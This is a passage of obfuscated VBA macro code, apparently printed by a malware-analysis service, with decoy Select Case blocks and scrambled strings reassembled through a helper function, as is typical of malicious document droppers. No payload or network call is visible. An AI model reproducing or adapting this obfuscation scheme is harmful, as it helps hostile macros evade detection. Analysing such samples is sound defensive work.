            zcCwAQ = Log(GzzVJE)
End Select
UcYAKzpNpd = fZHHja("dFBwqGbAbjKzZz% tes&&!%ZN", XpTizr - XpTizr + 3 + XpTizr - XpTizr, XpTizr - XpTizr + 19 + XpTizr - XpTizr)
Select Case wWjXTA
         Case 67261
            orPuQ = KAQsD
            WPTfc = Round(25771)
            VCNTj = Hex(fjXZvJ - ChrW(JpnLjG))
            WwzjcF = JiCDuG
         Case 84787
            HaXiR = CByte(71993)
            naUjaI = Log(bHwVNm)
End Select
Select Case uNqRi
         Case 84302
            LsuCab = jNPYrt
            sVKGVz = Round(24291)
            TAGXJ = Hex(jEuNC - ChrW(CjPdfB))
            XfzaEz = BrjLJu
         Case 29737
            YtvCS = CByte(17398)
            IVKpwp = Log(FjaTL)
End Select
QuqAOdSV = fZHHja("ZkYiKZLLBW% tes2BT", Ciqap - Ciqap + 4 + Ciqap - Ciqap, Ciqap - Ciqap + 12 + Ciqap - Ciqap)
Select Case YWaCah
         Case 39260
            YjEHht = Whcjc
            WbPPA = Round(74587)
            lzkpjZ = Hex(CStcko - ChrW(jmFhP))
            zjzzki = BuKmZ
         Case 89808
            GZwOYH = CByte(18771)
            DoAwo = Log(npJhk)
End Select
Select Case AdTnkE
         Case 65507
            MzWilW = PvGzof
            VrSuXk = Round(74666)
            uVmKo = Hex(oQkzZV - ChrW(oMOwG))
            WNEnvw = HbVqh
         Case 94971
            rDAwbi = CByte(98413)
            iVCPKh = Log(fEvRrQ)
End Select
dBIBzp = fZHHja("wwB%5evv5W", wCzmFB - wCzmFB + 5 + wCzmFB - wCzmFB, wCzmFB - wCzmFB + 1 + wCzmFB - wCzmFB)
Select Case qiqMX
         Case 65727
            vuPbb = lLRWY
            viikfn = Round(67209)
            wRuQFd = Hex(MSFOKQ - ChrW(ibmni))
            vTmZs = VYHzKY
         Case 77981
            QdAzW = CByte(97867)
            ZtMINc = Log(AHzrEL)
End Select
Select Case wmDFd
         Case 38815
            szPQlt = jdXdQD
            wzjYpk = Round(99116)
            cjJAw = Hex(GiNJj - ChrW(jWdSZL))
            bZUEk = TCnTho
         Case 68701
            VWjHkz = CByte(41244)
            uKUjYF = Log(VQwdP)
End Select
YEBONB = fZHHja(",2UvvJh!!%WHjQVwLaFksJk", cfVXHH - cfVXHH + 3 + cfVXHH - cfVXHH, cfVXHH - cfVXHH + 14 + cfVXHH - cfVXHH)
Select Case zHbYB
         Case 56202
            SOfVA = OzuLoO
            wiKkDa = Round(26766)
            RDjKUS = Hex(PHijU - ChrW(Kjizj))
            qZbEJO = ZTwqV
         Case 52686
            ZBLwK = CByte(60935)
            rkmdF = Log(jowjlW)
End Select
Select Case TJGiu
         Case 11846
            SIdEUH = pBnEW
            QKDZc = Round(32037)
            WmXvwM = Hex(jNOwbB - ChrW(jDkSsP))
            RKmVKG = JGhBi
         Case 47607
            fliGI = CByte(30499)
            bmqdUN = Log(GTGkAv)
End Select
wOutFjPL = fZHHja("2bfvjWWlHHsuQTcOHYD", XDpwZv - XDpwZv + 8 + XDpwZv - XDpwZv, XDpwZv - XDpwZv + 10 + XDpwZv - XDpwZv)
Select Case ckZnF
         Case 70631
            Hhuwc = DSCMk
            HpXvrq = Round(87053)
            CnaRdd = Hex(DAITC - ChrW(GUFwjr))
            doQuAB = OFpiwL
         Case 20376
            UGdTz = CByte(10348)
            RushUA = Log(RzLwB)
End Select
Select Case YXVJZr
         Case 89127
            OwwPwG = slRzJt
            TuacXj = Round(84508)
            zwTPik = Hex(MdhmMR - ChrW(bqZco))
            ikiUmp = biwTN
         Case 4897
            BzvjbJ = CByte(7026)
            oQWhR = Log(SjDvs)
End Select
cVpSv = fZHHja("BsVwFIpf=%blRjwYo", OWjQcp - OWjQcp + 6 + OWjQcp - OWjQcp, OWjQcp - OWjQcp + 8 + OWjQcp - OWjQcp)
Select Case zNPzc
         Case 79153
            NdhNZJ = BivsAf
            GwSzFY = Round(76640)
            zsYUt = Hex(ohvEmc - ChrW(vGCzXm))
            ooKuN = rQzCWQ
         Case 85783
            iooEP = CByte(81764)
            wzoOC = Log(KpPzil)
End Select
Select Case QntjmD
         Case 62207
            OowIww = zVcsJ
            NCBCz = Round(24257)
            JRnLwm = Hex(JDtitW - ChrW(iBUswP))
            znZTWT = lrhoq
         Case 65968
            wAlMLB = CByte(9153)
            cwzmVi = Log(hJwzI)
End Select
viAQA = fZHHja("hC U1kOd6", UKhdH - UKhdH + 2 + UKhdH - UKhdH, UKhdH - UKhdH + 1 + UKhdH - UKhdH)
Select Case dOrZT
         Case 82840
            LMpCo = hBijn
            kBLbT = Round(68681)
            UlKXqt = Hex(aTmtm - ChrW(KhkPIw))
            NAzwdL = XKSmXp
         Case 41738
            lBozJ = CByte(27522)
            OOotvC = Log(QvSXk)
End Select
Select Case SNLCKQ
         Case 9497
            TzojFY = ukhzEo
            KonUwb = Round(76036)
            iKYYJ = Hex(KbVEn - ChrW(TwFzj))
            sWnpt = BqCXPq
         Case 34694
            tHTiLj = CByte(30111)
            jJLsR = Log(IMjqkk)
End Select
kWfWIjEz = fZHHja("9B2hMlnjzXkIXoR=%DKuYzk2", UmLuiJ - UmLuiJ + 3 + UmLuiJ - UmLuiJ, UmLuiJ - UmLuiJ + 17 + UmLuiJ - UmLuiJ)
Select Case RXpQrX
         Case 35206
            mLfmJ = LfalC
            hmddBP = Round(30206)
            qoYFht = Hex(jiOUJz - ChrW(wzjFHb))
            jIEinB = uMObHj
         Case 51248
            naFQhb = CByte(2451)
            RsAmp = Log(wvHnlJ)
End Select
Select Case YXEajm
         Case 64977
            VDvcJj = AJXPLf
            GviihD = Round(37391)
            HjJliH = Hex(GiQzF - ChrW(kYiZPw))
            ocjmM = RIswEi
         Case 35452
            vPSYBa = CByte(63693)
            ozNZG = Log(XzISE)
End Select
NvsqGVzb = fZHHja("6vVYCEOYYR% tduK1", UWurzp - UWurzp + 5 + UWurzp - UWurzp, UWurzp - UWurzp + 11 + UWurzp - UWurzp)
Select Case ufzWZ
         Case 87718
            KNkLTm = oJPBNY
            lojZmi = Round(89997)
            sqmZLr = Hex(PwzIk - ChrW(pEoum))
            hNkHE = aJqTzm
         Case 29188
            YVtYta = CByte(5179)
            uTCFn = Log(wksfz)
End Select
Select Case PmsFlh
         Case 94867
            zmiwUj = wWwfc
            QPtPUa = Round(9350)
            RUsjtO = Hex(IOklYt - ChrW(JbAmSQ))
            zqfsK = XzqQGs
         Case 18550
            SlMbSK = CByte(80509)
            OtEtp = Log(SOhHn)
End Select
cXrlohs = fZHHja("uKwQYBW%!!%aiplwXB%!&BZ%B", NYIji - NYIji + 5 + NYIji - NYIji, NYIji - NYIji + 16 + NYIji - NYIji)
Select Case RiMqjO
         Case 49322
            YTffj = rpnLAF
            scmnQ = Round(18710)
            jbjzE = Hex(PoYVrD - ChrW(jjuOYK))
            OcaVHi = ZCaCS
         Case 10042
            czkfb = CByte(3868)
            DQSUwU = Log(JhYPGM)
End Select
Select Case HtwLW
         Case 27040
            OfEMEv = MAUUj
            VwhmuY = Round(51083)
            zzjFX = Hex(ZjUmIw - ChrW(IAkZq))
            UUtZnW = ALLKQ
         Case 95972
            oQjVGh = CByte(14481)
            jfhMln = Log(wzMEb)
End Select
…

Open this report in the interactive analyzer, or submit your own file for analysis.